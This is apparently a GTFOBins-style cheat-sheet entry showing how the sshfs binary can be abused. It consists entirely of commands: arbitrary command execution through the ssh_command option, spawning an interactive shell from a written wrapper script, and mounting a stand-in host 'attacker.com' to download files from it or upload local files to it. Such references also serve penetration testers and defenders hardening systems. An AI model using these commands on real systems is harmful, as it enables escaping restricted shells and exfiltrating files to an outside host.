sshfs

Command Execution

sshfs -o ssh_command=/path/to/command x: /path/to/dir/

Download

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-file

Shell

The mount dir must be writable by the invoking user.

echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/

Upload

sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/input-file /path/to/dir/